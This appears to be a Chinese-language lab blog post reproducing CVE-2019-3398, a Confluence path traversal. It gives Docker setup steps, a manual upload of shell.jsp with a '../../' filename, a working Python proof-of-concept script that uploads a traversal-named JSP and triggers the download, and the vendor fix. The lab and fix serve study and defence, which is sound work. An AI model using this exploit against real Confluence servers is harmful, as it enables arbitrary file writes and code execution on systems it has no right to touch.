(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞

1、【CVE编号】

CVE-2019-3398

2、【漏洞名称】

Confluence路径穿越漏洞

3、【靶标分类】

Web类型类靶标

4、【影响版本】

2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2

5、【漏洞分类】

目录穿越

6、【漏洞等级】

7、【漏洞简介】

Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。

8、【靶标运行环境】

标靶运行操作系统系统:Ubuntu1804 64位
操作系统内核:4.15.0-92-generic
容器版本:confluence 6.13.0
端口号:8090
工具:burpsuite,docker

9、【靶标搭建过程】
1、下载docker环境
docker pull atlassian/confluence-server:6.13.0
2、启动环境
docker run --name confluence2 -p 8090:8090 -dit 2fc70ced2023
在这里插入图片描述
3、访问192.168.152.130:8090
不选择进入下一步
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第1张图片
4、去申请一个key
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第2张图片
5、选择一个虚拟的数据库
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第3张图片
6、选择一个示例网站
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第4张图片
7、通过confluence创建管理员
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第5张图片
8、添加管理员
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第6张图片
9、安装完成
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第7张图片
10、靶场利用过程
1、创建一个新的项目ceshi
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第8张图片
2、上传shell.jsp
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第9张图片
3、在filename字段添加…/…/
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第10张图片
4、点击下载全部触发漏洞
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第11张图片
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第12张图片
5、这个时候我们可以看到shell.jsp本应在temp/download2NDvc105653.zi中
但是由于加了…/…/,就穿越到了上两级目录当中
docker exec -it f3bcd43f83cb bash(进入容器)

(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第13张图片
6、此处有一python可以快速实现此过程

import requests
from bs4 import BeautifulSoup
import base64

url = 'http://192.168.152.130:8090/'
proxies={'http':'http://127.0.0.1:8080'}

values = {'os_username':'admin',
'os_password':'123qweQWE',
'login':'Log+in',
'os_destination':''}

headers = {
    'accept': '*/*',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'
}

jspshell ='Y3ZlLTIwMTktMzM5OA=='

session = requests.Session()

login = session.post(url + 'dologin.action', headers=headers, data=values)

soup = BeautifulSoup(login.text, 'html.parser')

csrf_token = soup.select_one('meta[name="atlassian-token"]').get('content',None)

createpage = session.get(url + 'pages/createpage.action')

soup = BeautifulSoup(createpage.text, 'html.parser')

draft_id = soup.select_one('meta[name="ajs-draft-id"]').get('content',None)

attach = session.post(url + 'plugins/drag-and-drop/upload.action?draftId=' + draft_id + '&filename=../../test1.jsp&size=13&mimeType=text%2fplain&atl_token=' + csrf_token,headers=headers,data=base64.b64decode(jspshell))

downloadallattachments = session.get(url + 'pages/downloadallattachments.action?pageId=' + draft_id, headers=headers
                                     )

if downloadallattachments.status_code == 200:
    print('Success!')
else:
    print('Something went wrong.')

7、进入Desktop目录
python3 cve-2019-3398.py
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞_第14张图片
8、查看confluence目录
docker exec -it f3bcd43f83cb bash
在这里插入图片描述

11、【解决方案】
从官网下载修复版6.13.4。
对比文件发现,在6.13.4版本的DownloadAllAttachmentsOnPageAction.java文件中,
对attachment.getFileName()得到的字符串进行了过滤

import com.atlassian.confluence.util.io.ConfluenceFileUtils;
ConfluenceFileUtils.extractFileName(attachment.getFileName()))

Referer:
https://xz.aliyun.com/t/4854
https://github.com/superevr/cve-2019-3398/blob/master/poc.py

你可能感兴趣的:(漏洞复现)